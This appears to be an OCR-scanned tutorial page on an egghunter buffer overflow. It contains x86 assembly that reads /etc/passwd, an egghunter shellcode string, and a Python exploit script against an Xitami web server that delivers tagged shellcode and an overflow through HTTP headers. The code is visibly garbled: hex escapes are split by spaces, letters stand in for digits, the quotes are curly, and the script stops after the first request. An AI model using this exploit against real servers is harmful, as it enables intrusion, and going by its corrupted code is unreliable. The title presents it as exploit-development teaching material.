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EggHunter Buffer Overflow for Windows
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global _start

section  .text

_start
XOr €ecx, ecx
mul ecx

open:
mov al , 0x05
push ecx
push 0x64777373
push 0x61702f63
push 0x74652f2f
mov ebx, esp
int 0x80

read :
xchg eax, ebx
xchg eax, ecx
mov al , 0x03
mov dx, OxOFFF
inc edx
int 0x80

exit :
xchg eax, ebx
int 0x80
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https://www.isecur1ty.org/%D9%85%D9%82%D8%A7%D9%84-%D9%85%D8%AF%D8%AE%D9%84-%D8%A7%D9%84%D9%89-%D8%AB%D8%BA%D8%B1%D8%A7%D8%AA-%D8%A7%D9%84%D9%81%D9%8A%D8%B6-buffer-overflow/
https://www.security4arabs.com/2010/08/30/%D8%A3%D8%B3%D8%A7%D8%B3%D9%8A%D8%A7%D8%AA-%D8%AB%D8%BA%D8%B1%D8%A7%D8%AA-%D8%A7%D9%84%D9%81%D9%8A%D8%B6-%E2%80%AB%E2%80%AAbuffer-overflow%E2%80%AC%E2%80%AC/
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egghunt =

("\x66\ x81\ XCA\ XFF\ xOF\ x42\ x52\ x6A\ x02\ x58\ xCD\ x2E\ x3C\ x05\ x5A\ x74\ XxEF\ xB8"
"wOO0t"  # 4 byte tag

"\ x8B\ xFA\ xAF\ x75\ xEA\ xAF\ x75\ xE7\ xFF\ xE7")
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import time , socket , sys

if len (sys.argv) != 3:
print  "Usage: ./xitami.py <Target IP> <Target Port>"
sys . exit (1)

target = sys.argv [ 1]
port = int (sys.argv [2])

egghunt = ("\x66\ x81\ XCA\ xFF\ XOF\ x42\ x52\ x6A\ x02"
"\ x58\ XCD\ x2E\ x3C\ x05\ x5A\ x74\ XEF\ xB8"

"wOO0t"  # 4 byte tag

"\ x8B\ XFA\ XAF\ x75\ XEA\ xAF\ x75\ xE7\ XFF\ xE7")

shellcode = "C" * 500
jump = "\ xeb\x22" # shortjump

buf = "A" * 72

buf += "\ x53\ x93\ x42\ x7E" # jmp esp (user32.dll
buf += jump

buf += "\x90" * 50

buf += egghunt

shellcode  += "wOOtwOOt"  + shellcode #tag shellcode with wOOt

# send the first GET request with shellcode
headerl = (

'GET /HTTP/1.2  \r\n'

'Host: %s \r\n'

‘user -agent:%s \r\n'

‘\r\n") % (target , shellcode )

# send the GET request with payload
header2 = (

'GET /HTTP/1.1 \r\n'

'‘Host: %s \r\n'

'If - Modified - Since: pwned, %s \r\n'
“\r\n") %  (target , buf)

s = socket .socket (socket . AF _INET, socket . SOCK_STREAM
try :

s. connect (( target , port ))

print  "[+] Connected"
except :

print  "[!] Connection Failed"

sys . exit (0)

print  "[+] Sending shellcode..."
s. send ( headerl )

time . sleep (1)

s. close ()

- ________________________________________________________________________________________________________|
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